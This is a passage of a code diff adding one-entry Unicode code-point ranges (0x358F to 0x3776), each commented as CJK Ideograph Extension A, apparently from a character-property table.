+ [0x358f, 0x358f], /* CJK Ideograph Extension A */
+ [0x3590, 0x3590], /* CJK Ideograph Extension A */
+ [0x3591, 0x3591], /* CJK Ideograph Extension A */
+ [0x3592, 0x3592], /* CJK Ideograph Extension A */
+ [0x3593, 0x3593], /* CJK Ideograph Extension A */
+ [0x3594, 0x3594], /* CJK Ideograph Extension A */
+ [0x3595, 0x3595], /* CJK Ideograph Extension A */
+ [0x3596, 0x3596], /* CJK Ideograph Extension A */
+ [0x3597, 0x3597], /* CJK Ideograph Extension A */
+ [0x3598, 0x3598], /* CJK Ideograph Extension A */
+ [0x3599, 0x3599], /* CJK Ideograph Extension A */
+ [0x359a, 0x359a], /* CJK Ideograph Extension A */
+ [0x359b, 0x359b], /* CJK Ideograph Extension A */
+ [0x359c, 0x359c], /* CJK Ideograph Extension A */
+ [0x359d, 0x359d], /* CJK Ideograph Extension A */
+ [0x359e, 0x359e], /* CJK Ideograph Extension A */
+ [0x359f, 0x359f], /* CJK Ideograph Extension A */
+ [0x35a0, 0x35a0], /* CJK Ideograph Extension A */
+ [0x35a1, 0x35a1], /* CJK Ideograph Extension A */
+ [0x35a2, 0x35a2], /* CJK Ideograph Extension A */
+ [0x35a3, 0x35a3], /* CJK Ideograph Extension A */
+ [0x35a4, 0x35a4], /* CJK Ideograph Extension A */
+ [0x35a5, 0x35a5], /* CJK Ideograph Extension A */
+ [0x35a6, 0x35a6], /* CJK Ideograph Extension A */
+ [0x35a7, 0x35a7], /* CJK Ideograph Extension A */
+ [0x35a8, 0x35a8], /* CJK Ideograph Extension A */
+ [0x35a9, 0x35a9], /* CJK Ideograph Extension A */
+ [0x35aa, 0x35aa], /* CJK Ideograph Extension A */
+ [0x35ab, 0x35ab], /* CJK Ideograph Extension A */
+ [0x35ac, 0x35ac], /* CJK Ideograph Extension A */
+ [0x35ad, 0x35ad], /* CJK Ideograph Extension A */
+ [0x35ae, 0x35ae], /* CJK Ideograph Extension A */
+ [0x35af, 0x35af], /* CJK Ideograph Extension A */
+ [0x35b0, 0x35b0], /* CJK Ideograph Extension A */
+ [0x35b1, 0x35b1], /* CJK Ideograph Extension A */
+ [0x35b2, 0x35b2], /* CJK Ideograph Extension A */
+ [0x35b3, 0x35b3], /* CJK Ideograph Extension A */
+ [0x35b4, 0x35b4], /* CJK Ideograph Extension A */
+ [0x35b5, 0x35b5], /* CJK Ideograph Extension A */
+ [0x35b6, 0x35b6], /* CJK Ideograph Extension A */
+ [0x35b7, 0x35b7], /* CJK Ideograph Extension A */
+ [0x35b8, 0x35b8], /* CJK Ideograph Extension A */
+ [0x35b9, 0x35b9], /* CJK Ideograph Extension A */
+ [0x35ba, 0x35ba], /* CJK Ideograph Extension A */
+ [0x35bb, 0x35bb], /* CJK Ideograph Extension A */
+ [0x35bc, 0x35bc], /* CJK Ideograph Extension A */
+ [0x35bd, 0x35bd], /* CJK Ideograph Extension A */
+ [0x35be, 0x35be], /* CJK Ideograph Extension A */
+ [0x35bf, 0x35bf], /* CJK Ideograph Extension A */
+ [0x35c0, 0x35c0], /* CJK Ideograph Extension A */
+ [0x35c1, 0x35c1], /* CJK Ideograph Extension A */
+ [0x35c2, 0x35c2], /* CJK Ideograph Extension A */
+ [0x35c3, 0x35c3], /* CJK Ideograph Extension A */
+ [0x35c4, 0x35c4], /* CJK Ideograph Extension A */
+ [0x35c5, 0x35c5], /* CJK Ideograph Extension A */
+ [0x35c6, 0x35c6], /* CJK Ideograph Extension A */
+ [0x35c7, 0x35c7], /* CJK Ideograph Extension A */
+ [0x35c8, 0x35c8], /* CJK Ideograph Extension A */
+ [0x35c9, 0x35c9], /* CJK Ideograph Extension A */
+ [0x35ca, 0x35ca], /* CJK Ideograph Extension A */
+ [0x35cb, 0x35cb], /* CJK Ideograph Extension A */
+ [0x35cc, 0x35cc], /* CJK Ideograph Extension A */
+ [0x35cd, 0x35cd], /* CJK Ideograph Extension A */
+ [0x35ce, 0x35ce], /* CJK Ideograph Extension A */
+ [0x35cf, 0x35cf], /* CJK Ideograph Extension A */
+ [0x35d0, 0x35d0], /* CJK Ideograph Extension A */
+ [0x35d1, 0x35d1], /* CJK Ideograph Extension A */
+ [0x35d2, 0x35d2], /* CJK Ideograph Extension A */
+ [0x35d3, 0x35d3], /* CJK Ideograph Extension A */
+ [0x35d4, 0x35d4], /* CJK Ideograph Extension A */
+ [0x35d5, 0x35d5], /* CJK Ideograph Extension A */
+ [0x35d6, 0x35d6], /* CJK Ideograph Extension A */
+ [0x35d7, 0x35d7], /* CJK Ideograph Extension A */
+ [0x35d8, 0x35d8], /* CJK Ideograph Extension A */
+ [0x35d9, 0x35d9], /* CJK Ideograph Extension A */
+ [0x35da, 0x35da], /* CJK Ideograph Extension A */
+ [0x35db, 0x35db], /* CJK Ideograph Extension A */
+ [0x35dc, 0x35dc], /* CJK Ideograph Extension A */
+ [0x35dd, 0x35dd], /* CJK Ideograph Extension A */
+ [0x35de, 0x35de], /* CJK Ideograph Extension A */
+ [0x35df, 0x35df], /* CJK Ideograph Extension A */
+ [0x35e0, 0x35e0], /* CJK Ideograph Extension A */
+ [0x35e1, 0x35e1], /* CJK Ideograph Extension A */
+ [0x35e2, 0x35e2], /* CJK Ideograph Extension A */
+ [0x35e3, 0x35e3], /* CJK Ideograph Extension A */
+ [0x35e4, 0x35e4], /* CJK Ideograph Extension A */
+ [0x35e5, 0x35e5], /* CJK Ideograph Extension A */
+ [0x35e6, 0x35e6], /* CJK Ideograph Extension A */
+ [0x35e7, 0x35e7], /* CJK Ideograph Extension A */
+ [0x35e8, 0x35e8], /* CJK Ideograph Extension A */
+ [0x35e9, 0x35e9], /* CJK Ideograph Extension A */
+ [0x35ea, 0x35ea], /* CJK Ideograph Extension A */
+ [0x35eb, 0x35eb], /* CJK Ideograph Extension A */
+ [0x35ec, 0x35ec], /* CJK Ideograph Extension A */
+ [0x35ed, 0x35ed], /* CJK Ideograph Extension A */
+ [0x35ee, 0x35ee], /* CJK Ideograph Extension A */
+ [0x35ef, 0x35ef], /* CJK Ideograph Extension A */
+ [0x35f0, 0x35f0], /* CJK Ideograph Extension A */
+ [0x35f1, 0x35f1], /* CJK Ideograph Extension A */
+ [0x35f2, 0x35f2], /* CJK Ideograph Extension A */
+ [0x35f3, 0x35f3], /* CJK Ideograph Extension A */
+ [0x35f4, 0x35f4], /* CJK Ideograph Extension A */
+ [0x35f5, 0x35f5], /* CJK Ideograph Extension A */
+ [0x35f6, 0x35f6], /* CJK Ideograph Extension A */
+ [0x35f7, 0x35f7], /* CJK Ideograph Extension A */
+ [0x35f8, 0x35f8], /* CJK Ideograph Extension A */
+ [0x35f9, 0x35f9], /* CJK Ideograph Extension A */
+ [0x35fa, 0x35fa], /* CJK Ideograph Extension A */
+ [0x35fb, 0x35fb], /* CJK Ideograph Extension A */
+ [0x35fc, 0x35fc], /* CJK Ideograph Extension A */
+ [0x35fd, 0x35fd], /* CJK Ideograph Extension A */
+ [0x35fe, 0x35fe], /* CJK Ideograph Extension A */
+ [0x35ff, 0x35ff], /* CJK Ideograph Extension A */
+ [0x3600, 0x3600], /* CJK Ideograph Extension A */
+ [0x3601, 0x3601], /* CJK Ideograph Extension A */
+ [0x3602, 0x3602], /* CJK Ideograph Extension A */
+ [0x3603, 0x3603], /* CJK Ideograph Extension A */
+ [0x3604, 0x3604], /* CJK Ideograph Extension A */
+ [0x3605, 0x3605], /* CJK Ideograph Extension A */
+ [0x3606, 0x3606], /* CJK Ideograph Extension A */
+ [0x3607, 0x3607], /* CJK Ideograph Extension A */
+ [0x3608, 0x3608], /* CJK Ideograph Extension A */
+ [0x3609, 0x3609], /* CJK Ideograph Extension A */
+ [0x360a, 0x360a], /* CJK Ideograph Extension A */
+ [0x360b, 0x360b], /* CJK Ideograph Extension A */
+ [0x360c, 0x360c], /* CJK Ideograph Extension A */
+ [0x360d, 0x360d], /* CJK Ideograph Extension A */
+ [0x360e, 0x360e], /* CJK Ideograph Extension A */
+ [0x360f, 0x360f], /* CJK Ideograph Extension A */
+ [0x3610, 0x3610], /* CJK Ideograph Extension A */
+ [0x3611, 0x3611], /* CJK Ideograph Extension A */
+ [0x3612, 0x3612], /* CJK Ideograph Extension A */
+ [0x3613, 0x3613], /* CJK Ideograph Extension A */
+ [0x3614, 0x3614], /* CJK Ideograph Extension A */
+ [0x3615, 0x3615], /* CJK Ideograph Extension A */
+ [0x3616, 0x3616], /* CJK Ideograph Extension A */
+ [0x3617, 0x3617], /* CJK Ideograph Extension A */
+ [0x3618, 0x3618], /* CJK Ideograph Extension A */
+ [0x3619, 0x3619], /* CJK Ideograph Extension A */
+ [0x361a, 0x361a], /* CJK Ideograph Extension A */
+ [0x361b, 0x361b], /* CJK Ideograph Extension A */
+ [0x361c, 0x361c], /* CJK Ideograph Extension A */
+ [0x361d, 0x361d], /* CJK Ideograph Extension A */
+ [0x361e, 0x361e], /* CJK Ideograph Extension A */
+ [0x361f, 0x361f], /* CJK Ideograph Extension A */
+ [0x3620, 0x3620], /* CJK Ideograph Extension A */
+ [0x3621, 0x3621], /* CJK Ideograph Extension A */
+ [0x3622, 0x3622], /* CJK Ideograph Extension A */
+ [0x3623, 0x3623], /* CJK Ideograph Extension A */
+ [0x3624, 0x3624], /* CJK Ideograph Extension A */
+ [0x3625, 0x3625], /* CJK Ideograph Extension A */
+ [0x3626, 0x3626], /* CJK Ideograph Extension A */
+ [0x3627, 0x3627], /* CJK Ideograph Extension A */
+ [0x3628, 0x3628], /* CJK Ideograph Extension A */
+ [0x3629, 0x3629], /* CJK Ideograph Extension A */
+ [0x362a, 0x362a], /* CJK Ideograph Extension A */
+ [0x362b, 0x362b], /* CJK Ideograph Extension A */
+ [0x362c, 0x362c], /* CJK Ideograph Extension A */
+ [0x362d, 0x362d], /* CJK Ideograph Extension A */
+ [0x362e, 0x362e], /* CJK Ideograph Extension A */
+ [0x362f, 0x362f], /* CJK Ideograph Extension A */
+ [0x3630, 0x3630], /* CJK Ideograph Extension A */
+ [0x3631, 0x3631], /* CJK Ideograph Extension A */
+ [0x3632, 0x3632], /* CJK Ideograph Extension A */
+ [0x3633, 0x3633], /* CJK Ideograph Extension A */
+ [0x3634, 0x3634], /* CJK Ideograph Extension A */
+ [0x3635, 0x3635], /* CJK Ideograph Extension A */
+ [0x3636, 0x3636], /* CJK Ideograph Extension A */
+ [0x3637, 0x3637], /* CJK Ideograph Extension A */
+ [0x3638, 0x3638], /* CJK Ideograph Extension A */
+ [0x3639, 0x3639], /* CJK Ideograph Extension A */
+ [0x363a, 0x363a], /* CJK Ideograph Extension A */
+ [0x363b, 0x363b], /* CJK Ideograph Extension A */
+ [0x363c, 0x363c], /* CJK Ideograph Extension A */
+ [0x363d, 0x363d], /* CJK Ideograph Extension A */
+ [0x363e, 0x363e], /* CJK Ideograph Extension A */
+ [0x363f, 0x363f], /* CJK Ideograph Extension A */
+ [0x3640, 0x3640], /* CJK Ideograph Extension A */
+ [0x3641, 0x3641], /* CJK Ideograph Extension A */
+ [0x3642, 0x3642], /* CJK Ideograph Extension A */
+ [0x3643, 0x3643], /* CJK Ideograph Extension A */
+ [0x3644, 0x3644], /* CJK Ideograph Extension A */
+ [0x3645, 0x3645], /* CJK Ideograph Extension A */
+ [0x3646, 0x3646], /* CJK Ideograph Extension A */
+ [0x3647, 0x3647], /* CJK Ideograph Extension A */
+ [0x3648, 0x3648], /* CJK Ideograph Extension A */
+ [0x3649, 0x3649], /* CJK Ideograph Extension A */
+ [0x364a, 0x364a], /* CJK Ideograph Extension A */
+ [0x364b, 0x364b], /* CJK Ideograph Extension A */
+ [0x364c, 0x364c], /* CJK Ideograph Extension A */
+ [0x364d, 0x364d], /* CJK Ideograph Extension A */
+ [0x364e, 0x364e], /* CJK Ideograph Extension A */
+ [0x364f, 0x364f], /* CJK Ideograph Extension A */
+ [0x3650, 0x3650], /* CJK Ideograph Extension A */
+ [0x3651, 0x3651], /* CJK Ideograph Extension A */
+ [0x3652, 0x3652], /* CJK Ideograph Extension A */
+ [0x3653, 0x3653], /* CJK Ideograph Extension A */
+ [0x3654, 0x3654], /* CJK Ideograph Extension A */
+ [0x3655, 0x3655], /* CJK Ideograph Extension A */
+ [0x3656, 0x3656], /* CJK Ideograph Extension A */
+ [0x3657, 0x3657], /* CJK Ideograph Extension A */
+ [0x3658, 0x3658], /* CJK Ideograph Extension A */
+ [0x3659, 0x3659], /* CJK Ideograph Extension A */
+ [0x365a, 0x365a], /* CJK Ideograph Extension A */
+ [0x365b, 0x365b], /* CJK Ideograph Extension A */
+ [0x365c, 0x365c], /* CJK Ideograph Extension A */
+ [0x365d, 0x365d], /* CJK Ideograph Extension A */
+ [0x365e, 0x365e], /* CJK Ideograph Extension A */
+ [0x365f, 0x365f], /* CJK Ideograph Extension A */
+ [0x3660, 0x3660], /* CJK Ideograph Extension A */
+ [0x3661, 0x3661], /* CJK Ideograph Extension A */
+ [0x3662, 0x3662], /* CJK Ideograph Extension A */
+ [0x3663, 0x3663], /* CJK Ideograph Extension A */
+ [0x3664, 0x3664], /* CJK Ideograph Extension A */
+ [0x3665, 0x3665], /* CJK Ideograph Extension A */
+ [0x3666, 0x3666], /* CJK Ideograph Extension A */
+ [0x3667, 0x3667], /* CJK Ideograph Extension A */
+ [0x3668, 0x3668], /* CJK Ideograph Extension A */
+ [0x3669, 0x3669], /* CJK Ideograph Extension A */
+ [0x366a, 0x366a], /* CJK Ideograph Extension A */
+ [0x366b, 0x366b], /* CJK Ideograph Extension A */
+ [0x366c, 0x366c], /* CJK Ideograph Extension A */
+ [0x366d, 0x366d], /* CJK Ideograph Extension A */
+ [0x366e, 0x366e], /* CJK Ideograph Extension A */
+ [0x366f, 0x366f], /* CJK Ideograph Extension A */
+ [0x3670, 0x3670], /* CJK Ideograph Extension A */
+ [0x3671, 0x3671], /* CJK Ideograph Extension A */
+ [0x3672, 0x3672], /* CJK Ideograph Extension A */
+ [0x3673, 0x3673], /* CJK Ideograph Extension A */
+ [0x3674, 0x3674], /* CJK Ideograph Extension A */
+ [0x3675, 0x3675], /* CJK Ideograph Extension A */
+ [0x3676, 0x3676], /* CJK Ideograph Extension A */
+ [0x3677, 0x3677], /* CJK Ideograph Extension A */
+ [0x3678, 0x3678], /* CJK Ideograph Extension A */
+ [0x3679, 0x3679], /* CJK Ideograph Extension A */
+ [0x367a, 0x367a], /* CJK Ideograph Extension A */
+ [0x367b, 0x367b], /* CJK Ideograph Extension A */
+ [0x367c, 0x367c], /* CJK Ideograph Extension A */
+ [0x367d, 0x367d], /* CJK Ideograph Extension A */
+ [0x367e, 0x367e], /* CJK Ideograph Extension A */
+ [0x367f, 0x367f], /* CJK Ideograph Extension A */
+ [0x3680, 0x3680], /* CJK Ideograph Extension A */
+ [0x3681, 0x3681], /* CJK Ideograph Extension A */
+ [0x3682, 0x3682], /* CJK Ideograph Extension A */
+ [0x3683, 0x3683], /* CJK Ideograph Extension A */
+ [0x3684, 0x3684], /* CJK Ideograph Extension A */
+ [0x3685, 0x3685], /* CJK Ideograph Extension A */
+ [0x3686, 0x3686], /* CJK Ideograph Extension A */
+ [0x3687, 0x3687], /* CJK Ideograph Extension A */
+ [0x3688, 0x3688], /* CJK Ideograph Extension A */
+ [0x3689, 0x3689], /* CJK Ideograph Extension A */
+ [0x368a, 0x368a], /* CJK Ideograph Extension A */
+ [0x368b, 0x368b], /* CJK Ideograph Extension A */
+ [0x368c, 0x368c], /* CJK Ideograph Extension A */
+ [0x368d, 0x368d], /* CJK Ideograph Extension A */
+ [0x368e, 0x368e], /* CJK Ideograph Extension A */
+ [0x368f, 0x368f], /* CJK Ideograph Extension A */
+ [0x3690, 0x3690], /* CJK Ideograph Extension A */
+ [0x3691, 0x3691], /* CJK Ideograph Extension A */
+ [0x3692, 0x3692], /* CJK Ideograph Extension A */
+ [0x3693, 0x3693], /* CJK Ideograph Extension A */
+ [0x3694, 0x3694], /* CJK Ideograph Extension A */
+ [0x3695, 0x3695], /* CJK Ideograph Extension A */
+ [0x3696, 0x3696], /* CJK Ideograph Extension A */
+ [0x3697, 0x3697], /* CJK Ideograph Extension A */
+ [0x3698, 0x3698], /* CJK Ideograph Extension A */
+ [0x3699, 0x3699], /* CJK Ideograph Extension A */
+ [0x369a, 0x369a], /* CJK Ideograph Extension A */
+ [0x369b, 0x369b], /* CJK Ideograph Extension A */
+ [0x369c, 0x369c], /* CJK Ideograph Extension A */
+ [0x369d, 0x369d], /* CJK Ideograph Extension A */
+ [0x369e, 0x369e], /* CJK Ideograph Extension A */
+ [0x369f, 0x369f], /* CJK Ideograph Extension A */
+ [0x36a0, 0x36a0], /* CJK Ideograph Extension A */
+ [0x36a1, 0x36a1], /* CJK Ideograph Extension A */
+ [0x36a2, 0x36a2], /* CJK Ideograph Extension A */
+ [0x36a3, 0x36a3], /* CJK Ideograph Extension A */
+ [0x36a4, 0x36a4], /* CJK Ideograph Extension A */
+ [0x36a5, 0x36a5], /* CJK Ideograph Extension A */
+ [0x36a6, 0x36a6], /* CJK Ideograph Extension A */
+ [0x36a7, 0x36a7], /* CJK Ideograph Extension A */
+ [0x36a8, 0x36a8], /* CJK Ideograph Extension A */
+ [0x36a9, 0x36a9], /* CJK Ideograph Extension A */
+ [0x36aa, 0x36aa], /* CJK Ideograph Extension A */
+ [0x36ab, 0x36ab], /* CJK Ideograph Extension A */
+ [0x36ac, 0x36ac], /* CJK Ideograph Extension A */
+ [0x36ad, 0x36ad], /* CJK Ideograph Extension A */
+ [0x36ae, 0x36ae], /* CJK Ideograph Extension A */
+ [0x36af, 0x36af], /* CJK Ideograph Extension A */
+ [0x36b0, 0x36b0], /* CJK Ideograph Extension A */
+ [0x36b1, 0x36b1], /* CJK Ideograph Extension A */
+ [0x36b2, 0x36b2], /* CJK Ideograph Extension A */
+ [0x36b3, 0x36b3], /* CJK Ideograph Extension A */
+ [0x36b4, 0x36b4], /* CJK Ideograph Extension A */
+ [0x36b5, 0x36b5], /* CJK Ideograph Extension A */
+ [0x36b6, 0x36b6], /* CJK Ideograph Extension A */
+ [0x36b7, 0x36b7], /* CJK Ideograph Extension A */
+ [0x36b8, 0x36b8], /* CJK Ideograph Extension A */
+ [0x36b9, 0x36b9], /* CJK Ideograph Extension A */
+ [0x36ba, 0x36ba], /* CJK Ideograph Extension A */
+ [0x36bb, 0x36bb], /* CJK Ideograph Extension A */
+ [0x36bc, 0x36bc], /* CJK Ideograph Extension A */
+ [0x36bd, 0x36bd], /* CJK Ideograph Extension A */
+ [0x36be, 0x36be], /* CJK Ideograph Extension A */
+ [0x36bf, 0x36bf], /* CJK Ideograph Extension A */
+ [0x36c0, 0x36c0], /* CJK Ideograph Extension A */
+ [0x36c1, 0x36c1], /* CJK Ideograph Extension A */
+ [0x36c2, 0x36c2], /* CJK Ideograph Extension A */
+ [0x36c3, 0x36c3], /* CJK Ideograph Extension A */
+ [0x36c4, 0x36c4], /* CJK Ideograph Extension A */
+ [0x36c5, 0x36c5], /* CJK Ideograph Extension A */
+ [0x36c6, 0x36c6], /* CJK Ideograph Extension A */
+ [0x36c7, 0x36c7], /* CJK Ideograph Extension A */
+ [0x36c8, 0x36c8], /* CJK Ideograph Extension A */
+ [0x36c9, 0x36c9], /* CJK Ideograph Extension A */
+ [0x36ca, 0x36ca], /* CJK Ideograph Extension A */
+ [0x36cb, 0x36cb], /* CJK Ideograph Extension A */
+ [0x36cc, 0x36cc], /* CJK Ideograph Extension A */
+ [0x36cd, 0x36cd], /* CJK Ideograph Extension A */
+ [0x36ce, 0x36ce], /* CJK Ideograph Extension A */
+ [0x36cf, 0x36cf], /* CJK Ideograph Extension A */
+ [0x36d0, 0x36d0], /* CJK Ideograph Extension A */
+ [0x36d1, 0x36d1], /* CJK Ideograph Extension A */
+ [0x36d2, 0x36d2], /* CJK Ideograph Extension A */
+ [0x36d3, 0x36d3], /* CJK Ideograph Extension A */
+ [0x36d4, 0x36d4], /* CJK Ideograph Extension A */
+ [0x36d5, 0x36d5], /* CJK Ideograph Extension A */
+ [0x36d6, 0x36d6], /* CJK Ideograph Extension A */
+ [0x36d7, 0x36d7], /* CJK Ideograph Extension A */
+ [0x36d8, 0x36d8], /* CJK Ideograph Extension A */
+ [0x36d9, 0x36d9], /* CJK Ideograph Extension A */
+ [0x36da, 0x36da], /* CJK Ideograph Extension A */
+ [0x36db, 0x36db], /* CJK Ideograph Extension A */
+ [0x36dc, 0x36dc], /* CJK Ideograph Extension A */
+ [0x36dd, 0x36dd], /* CJK Ideograph Extension A */
+ [0x36de, 0x36de], /* CJK Ideograph Extension A */
+ [0x36df, 0x36df], /* CJK Ideograph Extension A */
+ [0x36e0, 0x36e0], /* CJK Ideograph Extension A */
+ [0x36e1, 0x36e1], /* CJK Ideograph Extension A */
+ [0x36e2, 0x36e2], /* CJK Ideograph Extension A */
+ [0x36e3, 0x36e3], /* CJK Ideograph Extension A */
+ [0x36e4, 0x36e4], /* CJK Ideograph Extension A */
+ [0x36e5, 0x36e5], /* CJK Ideograph Extension A */
+ [0x36e6, 0x36e6], /* CJK Ideograph Extension A */
+ [0x36e7, 0x36e7], /* CJK Ideograph Extension A */
+ [0x36e8, 0x36e8], /* CJK Ideograph Extension A */
+ [0x36e9, 0x36e9], /* CJK Ideograph Extension A */
+ [0x36ea, 0x36ea], /* CJK Ideograph Extension A */
+ [0x36eb, 0x36eb], /* CJK Ideograph Extension A */
+ [0x36ec, 0x36ec], /* CJK Ideograph Extension A */
+ [0x36ed, 0x36ed], /* CJK Ideograph Extension A */
+ [0x36ee, 0x36ee], /* CJK Ideograph Extension A */
+ [0x36ef, 0x36ef], /* CJK Ideograph Extension A */
+ [0x36f0, 0x36f0], /* CJK Ideograph Extension A */
+ [0x36f1, 0x36f1], /* CJK Ideograph Extension A */
+ [0x36f2, 0x36f2], /* CJK Ideograph Extension A */
+ [0x36f3, 0x36f3], /* CJK Ideograph Extension A */
+ [0x36f4, 0x36f4], /* CJK Ideograph Extension A */
+ [0x36f5, 0x36f5], /* CJK Ideograph Extension A */
+ [0x36f6, 0x36f6], /* CJK Ideograph Extension A */
+ [0x36f7, 0x36f7], /* CJK Ideograph Extension A */
+ [0x36f8, 0x36f8], /* CJK Ideograph Extension A */
+ [0x36f9, 0x36f9], /* CJK Ideograph Extension A */
+ [0x36fa, 0x36fa], /* CJK Ideograph Extension A */
+ [0x36fb, 0x36fb], /* CJK Ideograph Extension A */
+ [0x36fc, 0x36fc], /* CJK Ideograph Extension A */
+ [0x36fd, 0x36fd], /* CJK Ideograph Extension A */
+ [0x36fe, 0x36fe], /* CJK Ideograph Extension A */
+ [0x36ff, 0x36ff], /* CJK Ideograph Extension A */
+ [0x3700, 0x3700], /* CJK Ideograph Extension A */
+ [0x3701, 0x3701], /* CJK Ideograph Extension A */
+ [0x3702, 0x3702], /* CJK Ideograph Extension A */
+ [0x3703, 0x3703], /* CJK Ideograph Extension A */
+ [0x3704, 0x3704], /* CJK Ideograph Extension A */
+ [0x3705, 0x3705], /* CJK Ideograph Extension A */
+ [0x3706, 0x3706], /* CJK Ideograph Extension A */
+ [0x3707, 0x3707], /* CJK Ideograph Extension A */
+ [0x3708, 0x3708], /* CJK Ideograph Extension A */
+ [0x3709, 0x3709], /* CJK Ideograph Extension A */
+ [0x370a, 0x370a], /* CJK Ideograph Extension A */
+ [0x370b, 0x370b], /* CJK Ideograph Extension A */
+ [0x370c, 0x370c], /* CJK Ideograph Extension A */
+ [0x370d, 0x370d], /* CJK Ideograph Extension A */
+ [0x370e, 0x370e], /* CJK Ideograph Extension A */
+ [0x370f, 0x370f], /* CJK Ideograph Extension A */
+ [0x3710, 0x3710], /* CJK Ideograph Extension A */
+ [0x3711, 0x3711], /* CJK Ideograph Extension A */
+ [0x3712, 0x3712], /* CJK Ideograph Extension A */
+ [0x3713, 0x3713], /* CJK Ideograph Extension A */
+ [0x3714, 0x3714], /* CJK Ideograph Extension A */
+ [0x3715, 0x3715], /* CJK Ideograph Extension A */
+ [0x3716, 0x3716], /* CJK Ideograph Extension A */
+ [0x3717, 0x3717], /* CJK Ideograph Extension A */
+ [0x3718, 0x3718], /* CJK Ideograph Extension A */
+ [0x3719, 0x3719], /* CJK Ideograph Extension A */
+ [0x371a, 0x371a], /* CJK Ideograph Extension A */
+ [0x371b, 0x371b], /* CJK Ideograph Extension A */
+ [0x371c, 0x371c], /* CJK Ideograph Extension A */
+ [0x371d, 0x371d], /* CJK Ideograph Extension A */
+ [0x371e, 0x371e], /* CJK Ideograph Extension A */
+ [0x371f, 0x371f], /* CJK Ideograph Extension A */
+ [0x3720, 0x3720], /* CJK Ideograph Extension A */
+ [0x3721, 0x3721], /* CJK Ideograph Extension A */
+ [0x3722, 0x3722], /* CJK Ideograph Extension A */
+ [0x3723, 0x3723], /* CJK Ideograph Extension A */
+ [0x3724, 0x3724], /* CJK Ideograph Extension A */
+ [0x3725, 0x3725], /* CJK Ideograph Extension A */
+ [0x3726, 0x3726], /* CJK Ideograph Extension A */
+ [0x3727, 0x3727], /* CJK Ideograph Extension A */
+ [0x3728, 0x3728], /* CJK Ideograph Extension A */
+ [0x3729, 0x3729], /* CJK Ideograph Extension A */
+ [0x372a, 0x372a], /* CJK Ideograph Extension A */
+ [0x372b, 0x372b], /* CJK Ideograph Extension A */
+ [0x372c, 0x372c], /* CJK Ideograph Extension A */
+ [0x372d, 0x372d], /* CJK Ideograph Extension A */
+ [0x372e, 0x372e], /* CJK Ideograph Extension A */
+ [0x372f, 0x372f], /* CJK Ideograph Extension A */
+ [0x3730, 0x3730], /* CJK Ideograph Extension A */
+ [0x3731, 0x3731], /* CJK Ideograph Extension A */
+ [0x3732, 0x3732], /* CJK Ideograph Extension A */
+ [0x3733, 0x3733], /* CJK Ideograph Extension A */
+ [0x3734, 0x3734], /* CJK Ideograph Extension A */
+ [0x3735, 0x3735], /* CJK Ideograph Extension A */
+ [0x3736, 0x3736], /* CJK Ideograph Extension A */
+ [0x3737, 0x3737], /* CJK Ideograph Extension A */
+ [0x3738, 0x3738], /* CJK Ideograph Extension A */
+ [0x3739, 0x3739], /* CJK Ideograph Extension A */
+ [0x373a, 0x373a], /* CJK Ideograph Extension A */
+ [0x373b, 0x373b], /* CJK Ideograph Extension A */
+ [0x373c, 0x373c], /* CJK Ideograph Extension A */
+ [0x373d, 0x373d], /* CJK Ideograph Extension A */
+ [0x373e, 0x373e], /* CJK Ideograph Extension A */
+ [0x373f, 0x373f], /* CJK Ideograph Extension A */
+ [0x3740, 0x3740], /* CJK Ideograph Extension A */
+ [0x3741, 0x3741], /* CJK Ideograph Extension A */
+ [0x3742, 0x3742], /* CJK Ideograph Extension A */
+ [0x3743, 0x3743], /* CJK Ideograph Extension A */
+ [0x3744, 0x3744], /* CJK Ideograph Extension A */
+ [0x3745, 0x3745], /* CJK Ideograph Extension A */
+ [0x3746, 0x3746], /* CJK Ideograph Extension A */
+ [0x3747, 0x3747], /* CJK Ideograph Extension A */
+ [0x3748, 0x3748], /* CJK Ideograph Extension A */
+ [0x3749, 0x3749], /* CJK Ideograph Extension A */
+ [0x374a, 0x374a], /* CJK Ideograph Extension A */
+ [0x374b, 0x374b], /* CJK Ideograph Extension A */
+ [0x374c, 0x374c], /* CJK Ideograph Extension A */
+ [0x374d, 0x374d], /* CJK Ideograph Extension A */
+ [0x374e, 0x374e], /* CJK Ideograph Extension A */
+ [0x374f, 0x374f], /* CJK Ideograph Extension A */
+ [0x3750, 0x3750], /* CJK Ideograph Extension A */
+ [0x3751, 0x3751], /* CJK Ideograph Extension A */
+ [0x3752, 0x3752], /* CJK Ideograph Extension A */
+ [0x3753, 0x3753], /* CJK Ideograph Extension A */
+ [0x3754, 0x3754], /* CJK Ideograph Extension A */
+ [0x3755, 0x3755], /* CJK Ideograph Extension A */
+ [0x3756, 0x3756], /* CJK Ideograph Extension A */
+ [0x3757, 0x3757], /* CJK Ideograph Extension A */
+ [0x3758, 0x3758], /* CJK Ideograph Extension A */
+ [0x3759, 0x3759], /* CJK Ideograph Extension A */
+ [0x375a, 0x375a], /* CJK Ideograph Extension A */
+ [0x375b, 0x375b], /* CJK Ideograph Extension A */
+ [0x375c, 0x375c], /* CJK Ideograph Extension A */
+ [0x375d, 0x375d], /* CJK Ideograph Extension A */
+ [0x375e, 0x375e], /* CJK Ideograph Extension A */
+ [0x375f, 0x375f], /* CJK Ideograph Extension A */
+ [0x3760, 0x3760], /* CJK Ideograph Extension A */
+ [0x3761, 0x3761], /* CJK Ideograph Extension A */
+ [0x3762, 0x3762], /* CJK Ideograph Extension A */
+ [0x3763, 0x3763], /* CJK Ideograph Extension A */
+ [0x3764, 0x3764], /* CJK Ideograph Extension A */
+ [0x3765, 0x3765], /* CJK Ideograph Extension A */
+ [0x3766, 0x3766], /* CJK Ideograph Extension A */
+ [0x3767, 0x3767], /* CJK Ideograph Extension A */
+ [0x3768, 0x3768], /* CJK Ideograph Extension A */
+ [0x3769, 0x3769], /* CJK Ideograph Extension A */
+ [0x376a, 0x376a], /* CJK Ideograph Extension A */
+ [0x376b, 0x376b], /* CJK Ideograph Extension A */
+ [0x376c, 0x376c], /* CJK Ideograph Extension A */
+ [0x376d, 0x376d], /* CJK Ideograph Extension A */
+ [0x376e, 0x376e], /* CJK Ideograph Extension A */
+ [0x376f, 0x376f], /* CJK Ideograph Extension A */
+ [0x3770, 0x3770], /* CJK Ideograph Extension A */
+ [0x3771, 0x3771], /* CJK Ideograph Extension A */
+ [0x3772, 0x3772], /* CJK Ideograph Extension A */
+ [0x3773, 0x3773], /* CJK Ideograph Extension A */
+ [0x3774, 0x3774], /* CJK Ideograph Extension A */
+ [0x3775, 0x3775], /* CJK Ideograph Extension A */
+ [0x3776, 0x3776], /* CJK Ideograph Extension A */
